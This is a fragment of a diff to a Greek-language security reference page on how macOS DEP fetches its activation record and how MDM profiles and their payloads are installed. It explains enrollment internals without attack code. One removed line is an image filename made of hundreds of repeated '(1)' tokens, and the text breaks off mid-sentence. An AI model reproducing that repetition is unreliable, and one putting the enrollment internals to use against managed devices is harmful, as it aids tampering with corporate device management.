ενεργοποιημένη για DEP** -- Το Αρχείο Ενεργοποίησης είναι το εσωτερικό όνομα για το **DEP “profile”** +- Η Εγγραφή Ενεργοποίησης είναι το εσωτερικό όνομα για το **DEP “profile”** - Ξεκινά μόλις η συσκευή συνδεθεί στο Διαδίκτυο - Οδηγείται από **`CPFetchActivationRecord`** -- Υλοποιείται από **`cloudconfigurationd`** μέσω XPC. Ο **"Βοηθός Ρύθμισης"** (όταν η συσκευή εκκινείται για πρώτη φορά) ή η εντολή **`profiles`** θα **επικοινωνήσει με αυτή τη διεργασία** για να ανακτήσει το αρχείο ενεργοποίησης. +- Υλοποιείται από **`cloudconfigurationd`** μέσω XPC. Ο **"Βοηθός Ρύθμισης"** (όταν η συσκευή εκκινείται για πρώτη φορά) ή η εντολή **`profiles`** θα **επικοινωνήσει με αυτόν τον δαίμονα** για να ανακτήσει την εγγραφή ενεργοποίησης. - LaunchDaemon (τρέχει πάντα ως root) -Ακολουθεί μερικά βήματα για να αποκτήσει το Αρχείο Ενεργοποίησης που εκτελείται από **`MCTeslaConfigurationFetcher`**. Αυτή η διαδικασία χρησιμοποιεί μια κρυπτογράφηση που ονομάζεται **Absinthe** +Ακολουθεί μερικά βήματα για να αποκτήσει την Εγγραφή Ενεργοποίησης που εκτελείται από **`MCTeslaConfigurationFetcher`**. Αυτή η διαδικασία χρησιμοποιεί μια κρυπτογράφηση που ονομάζεται **Absinthe** 1. Ανάκτηση **πιστοποιητικού** 1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) @@ -142,6 +142,62 @@ macos-serial-number.md - Παραδείγματα: **UDID, έκδοση OS**. - CMS-υπογεγραμμένο, DER-κωδικοποιημένο - Υπογεγραμμένο χρησιμοποιώντας το **πιστοποιητικό ταυτότητας συσκευής (από APNS)** -- **Η αλυσίδα πιστοποιητικών** περιλαμβάνει ληγμένο **Apple iPhone Device CA** +- Η **αλυσίδα πιστοποιητικών** περιλαμβάνει ληγμένο **Apple iPhone Device CA** -![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1 +![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>) + +### Βήμα 6: Εγκατάσταση Προφίλ + +- Μόλις ανακτηθεί, **το προφίλ αποθηκεύεται στο σύστημα** +- Αυτό το βήμα ξεκινά αυτόματα (εάν είναι στον **βοηθό ρύθμισης**) +- Οδηγείται από **`CPInstallActivationProfile`** +- Υλοποιείται από το mdmclient μέσω XPC +- LaunchDaemon (ως root) ή LaunchAgent (ως χρήστης), ανάλογα με το πλαίσιο +- Τα προφίλ ρυθμίσεων έχουν πολλαπλά payloads προς εγκατάσταση +- Το πλαίσιο έχει αρχιτεκτονική βασισμένη σε plugins για την εγκατάσταση προφίλ +- Κάθε τύπος payload σχετίζεται με ένα plugin +- Μπορεί να είναι XPC (στο πλαίσιο) ή κλασικό Cocoa (στο ManagedClient.app) +- Παράδειγμα: +- Τα Payloads Πιστοποιητικών χρησιμοποιούν CertificateService.xpc + +Συνήθως, το **προφίλ ενεργοποίησης** που παρέχεται από έναν προμηθευτή MDM θα **περιλαμβάνει τα εξής payloads**: + +- `com.apple.mdm`: για **εγγραφή** της συσκευής στο MDM +- `com.apple.security.scep`: για την ασφαλή παροχή ενός **πιστοποιητικού πελάτη** στη συσκευή. +- `com.apple.security.pem`: για **εγκατάσταση αξιόπιστων CA πιστοποιητικών** στο Keychain του συστήματος της συσκευής. +- Η εγκατάσταση του payload MDM ισοδυναμεί με **έλεγχο MDM στην 